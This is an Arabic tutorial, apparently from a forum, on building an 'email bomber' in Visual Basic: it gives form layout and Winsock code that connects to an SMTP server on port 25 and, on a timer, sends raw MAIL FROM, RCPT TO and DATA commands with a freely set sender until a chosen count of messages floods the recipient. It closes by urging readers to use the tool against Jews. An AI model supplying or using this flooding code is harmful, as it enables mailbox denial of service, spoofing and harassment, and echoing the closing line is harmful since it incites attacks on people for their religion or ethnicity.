كيف تصنع برنامج ايميل بومبر

--------------------------------------------------------------------------------

ملاحظة : لتطبيق هذا الدرس عليك أن تتقن لغة الفيجوال بيزيك .

بسم الله الرحمن الرحيم



لصنع برنامج ضرب إيميلات نحتاج إلى التالي :

* فورم1 - أداة Winsock - و Timer

نضع داخل الفورم:

- مربع نص ونضع لكل مربع نص ليبل لتعريفه

ليبل 1 : المضيف ( مثل mail.hotmail.com )

ليبل 2 : المرسل

ليبل 3 : المستقبل

ليبل 4 : العنوان

ليبل 5 : النص ( ويكون هذا المربع كبير واجعل خاصية multline = True )

ليبل 6 : عدد الرسائل المراد ارسالها .



- أزرار (3)

الأول : بدء الضرب

الثاني : إيقاف الضرب

الثالث : اغلاق



والآن لنضع الأكواد :



عند بدء الضرب سيتم الاتصال عبر الوينسوك بالمضيف بالكود التالي:

Winsock1.connect text1 , 25

ملاحظة : هكذا سيتصل بالمضيف الخاص بالهوتميل والرقم هو منفذ الإرسال.

الآن سوف يتم الاتصال بمضيف الهوتميل



وللتأكد من الإتصال سوف نجعل عملية الإرسال تبدأ حين وصول رد المضيف :

اضغط على أداة الوينسوك مرتين واذهب إلى الحدث DataArrival

واكتب فيها :

timer1.enabled = True

وعليك جعل خاصية enabled في التيمر = False

والآن سنذهب للتيمر

عمل التيمر هو ارسال الرسائل للبريد ، وسوف يتم تكراره إلى أن يكتمل عدد الرسائل ، وسرعته لا يجب أن تزيد إلا مع الاتصال السريع ، ومع الاتصال المتوسط سوف نجعله يرسل كل نصف ثانية (500)



وهذا هو كود إرسال الرسائل:





Winsock1.SendData "MAIL FROM:" & text2 & vbNewLine

Winsock1.SendData "RCPT TO:" & Text3 & vbNewLine

Winsock1.SendData "DATA" & vbNewLine

Dim MSG As String

MSG = "From:" & Text2 & vbNewLine & "Date: " & _

Now & vbNewLine & "To:" & Text3 & vbNewLine & _

"Subject: " & Text4 & vbNewLine & vbNewLine & _

Text5 & vbNewLine

Winsock1.SendData MSG

Winsock1.SendData vbNewLine & vbNewLine & "." & vbNewLine & vbNewLine



وهكذا فإن البرنامج سوف يستمر بالضرب دون توقف ، ولإيقافه تحتاج لهذا الكود في التيمر

Dr = Dr + 1

if Dr = Text6 Then

timer1.enabled = false

end if

وضع داخل الحدث Form load التالي :

Dr = 0

وداخل مديول التالي :

Public Dr as long



هذا هو برنامج ضرب الإيميل ، أصبح بين يديك

الرجاء استخامه ضد اليهود





تقبلوا تحياتي